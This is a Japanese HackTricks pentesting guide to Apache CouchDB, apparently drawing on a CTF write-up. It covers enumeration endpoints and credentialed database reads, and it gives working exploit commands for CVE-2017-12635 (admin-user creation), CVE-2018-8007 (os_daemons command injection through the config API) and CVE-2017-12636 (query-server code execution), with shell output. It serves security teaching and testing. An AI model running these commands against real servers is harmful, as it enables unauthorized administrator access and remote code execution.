5984,6984 - Pentesting CouchDB

Support HackTricks

基本情報

CouchDBは、データをキー-バリュー マップ構造を使用して整理する多用途で強力なドキュメント指向データベースです。ドキュメント内のフィールドは、キー/バリュー ペア、リスト、またはマップとして表現でき、データの保存と取得に柔軟性を提供します。

CouchDBに保存されている各ドキュメントには、ドキュメントレベルで一意の識別子_id)が割り当てられます。さらに、データベースに対して行われ、保存された各変更にはリビジョン番号_rev)が割り当てられます。このリビジョン番号は、変更の効率的な追跡と管理を可能にし、データベース内のデータの簡単な取得と同期を促進します。

デフォルトポート: 5984(http)、6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

自動列挙

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

手動列挙

バナー

curl http://IP:5984/

これは、インストールされたCouchDBインスタンスにGETリクエストを発行します。返信は次のいずれかのようになります:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

CouchDBのルートにアクセスすると、{"error":"unauthorized","reason":"Authentication required."}のような401 Unauthorizedが返される場合、バナーや他のエンドポイントにはアクセスできません

情報列挙

これらは、GETリクエストでアクセスし、興味深い情報を抽出できるエンドポイントです。 CouchDBのドキュメントにもっと多くのエンドポイントと詳細な説明があります

  • /_active_tasks 実行中のタスクのリスト。タスクの種類、名前、ステータス、プロセスIDを含みます。

  • /_all_dbs CouchDBインスタンス内のすべてのデータベースのリストを返します。

  • /_cluster_setup クラスターセットアップウィザードに従ったノードまたはクラスターのステータスを返します。

  • /_db_updates CouchDBインスタンス内のすべてのデータベースイベントのリストを返します。このエンドポイントを使用するには、_global_changesデータベースの存在が必要です。

  • /_membership クラスターの一部であるノードをcluster_nodesとして表示します。フィールドall_nodesは、このノードが知っているすべてのノードを表示し、クラスターの一部であるノードも含まれます。

  • /_scheduler/jobs レプリケーションジョブのリスト。各ジョブの説明には、ソースとターゲットの情報、レプリケーションID、最近のイベントの履歴、その他いくつかの情報が含まれます。

  • /_scheduler/docs レプリケーションドキュメントの状態のリスト。completedおよびfailed状態のすべてのドキュメントに関する情報を含みます。各ドキュメントについて、ドキュメントID、データベース、レプリケーションID、ソースとターゲット、その他の情報を返します。

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} /_node/{node-name}エンドポイントは、リクエストを処理するサーバーのErlangノード名を確認するために使用できます。これは、/_node/_localにアクセスしてこの情報を取得する際に最も便利です。

  • /_node/{node-name}/_stats _statsリソースは、実行中のサーバーの統計を含むJSONオブジェクトを返します。リテラル文字列_localはローカルノード名のエイリアスとして機能するため、すべての統計URLで{node-name}_localに置き換えて、ローカルノードの統計と対話できます。

  • /_node/{node-name}/_system _systemリソースは、実行中のサーバーのさまざまなシステムレベルの統計を含むJSONオブジェクトを返します。現在のノード情報を取得するために、{node-name}として_localを使用できます。

  • /_node/{node-name}/_restart

  • /_up サーバーが稼働中で、リクエストに応答する準備ができていることを確認します。 maintenance_modetrueまたはnolbの場合、このエンドポイントは404レスポンスを返します。

  • /_uuids CouchDBインスタンスから1つ以上のユニバーサルユニーク識別子(UUID)を要求します。

  • /_reshard 完了、失敗、実行中、停止、合計のジョブのカウントと、クラスターのリシャーディングの状態を返します。

ここで説明されているように、より興味深い情報を抽出できます: https://lzone.de/cheat-sheet/CouchDB

データベースリスト

curl -X GET http://IP:5984/_all_dbs

そのリクエストが401 Unauthorizedで応答する場合、データベースにアクセスするために有効な資格情報が必要です:

curl -X GET http://user:password@IP:5984/_all_dbs

有効な資格情報を見つけるために、サービスをブルートフォースすることを試みることができます サービスをブルートフォースする

これは、データベースをリストするのに十分な権限があるときのcouchdbのレスポンスです(単なるデータベースのリストです):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

データベース情報

データベース名にアクセスすることで、いくつかのデータベース情報(ファイルの数やサイズなど)を取得できます:

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

ドキュメントリスト

データベース内の各エントリをリストします。

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

ドキュメントを読む

データベース内のドキュメントの内容を読む:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB 権限昇格 CVE-2017-12635

Erlang と JavaScript の JSON パーサーの違いのおかげで、次のリクエストを使用して資格情報 hacktricks:hacktricks管理者ユーザーを作成 することができます:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

この脆弱性に関する詳細情報はこちら

CouchDB RCE

こちらから

CouchDBのドキュメント、特にクラスタ設定に関するセクション(リンク)では、クラスタモードにおけるCouchDBのポートの使用について説明されています。スタンドアロンモードと同様に、ポート 5984 が使用されることが言及されています。さらに、ポート 5986 はノードローカルAPI用であり、重要なことに、ErlangはErlang Port Mapper Daemon (EPMD) のためにTCPポート 4369 を必要とし、Erlangクラスタ内でのノード間通信を促進します。この設定は、各ノードが他のすべてのノードと相互接続されるネットワークを形成します。

ポート 4369 に関する重要なセキュリティアドバイザリーが強調されています。このポートがインターネットまたは信頼できないネットワーク上でアクセス可能にされると、システムのセキュリティは「クッキー」として知られるユニークな識別子に大きく依存します。このクッキーは保護手段として機能します。例えば、特定のプロセスリストにおいて、「monster」という名前のクッキーが観察されることがあり、これはシステムのセキュリティフレームワークにおけるその運用役割を示しています。

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

リモートコード実行(RCE)の文脈において、この「クッキー」がどのように悪用されるかを理解したい方のために、さらなる読み物のための専用セクションがあります。これは、システムを制御するためにErlangクッキーを不正に利用する方法論を詳述しています。ここでErlangクッキーをRCEのために悪用する詳細ガイドを探ることができます

local.iniの変更によるCVE-2018-8007の悪用

こちらから

最近公開された脆弱性CVE-2018-8007は、Apache CouchDBに影響を与え、悪用にはlocal.iniファイルへの書き込み権限が必要であることが明らかになりました。セキュリティ制限により初期ターゲットシステムには直接適用できませんが、探索目的のためにlocal.iniファイルへの書き込みアクセスを付与するために変更が行われました。以下に、プロセスを示す詳細な手順とコード例が提供されています。

まず、local.iniファイルが書き込み可能であることを確認し、権限をリスト表示して環境を準備します:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

脆弱性を悪用するために、local.inicors/origins設定をターゲットにしたcurlコマンドが実行されます。これにより、任意のコードを実行することを目的として、[os_daemons]セクションの下に新しいオリジンと追加のコマンドが注入されます:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

その後の検証により、local.ini に注入された設定が確認され、バックアップと対比して変更点が強調されます:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

最初に、期待されるファイル(/tmp/0xdf)は存在せず、注入されたコマンドがまだ実行されていないことを示しています。さらなる調査により、CouchDBに関連するプロセスが実行されており、その中には注入されたコマンドを実行する可能性のあるものが含まれています:

root@canape:/home/homer/bin# ps aux | grep couch

特定されたCouchDBプロセスを終了させ、システムが自動的に再起動することを許可することで、注入されたコマンドの実行がトリガーされ、以前は存在しなかったファイルの存在によって確認されます:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

この調査は、特定の条件下でのCVE-2018-8007の悪用の実行可能性を確認します。特に、local.iniファイルへの書き込みアクセスが必要です。提供されたコード例と手順は、制御された環境でのエクスプロイトの再現に関する明確なガイドを提供します。

CVE-2018-8007の詳細については、mdsecのアドバイザリーを参照してください: CVE-2018-8007

local.iniへの書き込み権限を持つCVE-2017-12636の調査

こちらから

CVE-2017-12636として知られる脆弱性が調査され、CouchDBプロセスを介してコード実行を可能にしますが、特定の構成がその悪用を妨げる可能性があります。オンラインで利用可能な多数の概念実証(POC)参照があるにもかかわらず、CouchDBバージョン2で脆弱性を悪用するには調整が必要であり、一般的に標的とされるバージョン1.xとは異なります。最初のステップは、CouchDBのバージョンを確認し、期待されるクエリサーバーパスが存在しないことを確認することです。

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

CouchDBバージョン2.0に対応するために、新しいパスが利用されます:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

新しいクエリサーバーを追加して呼び出そうとしたところ、以下の出力に示されるように、権限に関連するエラーが発生しました:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

さらなる調査により、書き込み不可のlocal.iniファイルに関する権限の問題が明らかになりました。rootまたはhomerアクセスでファイルの権限を変更することで、進行することが可能になりました:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

その後、クエリサーバーを追加する試みは成功し、レスポンスにエラーメッセージがないことから確認されました。local.iniファイルの成功した修正は、ファイル比較を通じて確認されました:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

プロセスは、データベースとドキュメントの作成を続け、新しく追加されたクエリサーバーにマッピングされたカスタムビューを介してコードを実行しようとする試みが行われました:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A summary は、特定の条件下でCVE-2017-12636を悪用するための代替ペイロードに関するさらなる洞察を提供します。この脆弱性を悪用するための有用なリソースには以下が含まれます:

Shodan

  • port:5984 couchdb

References

Support HackTricks

Last updated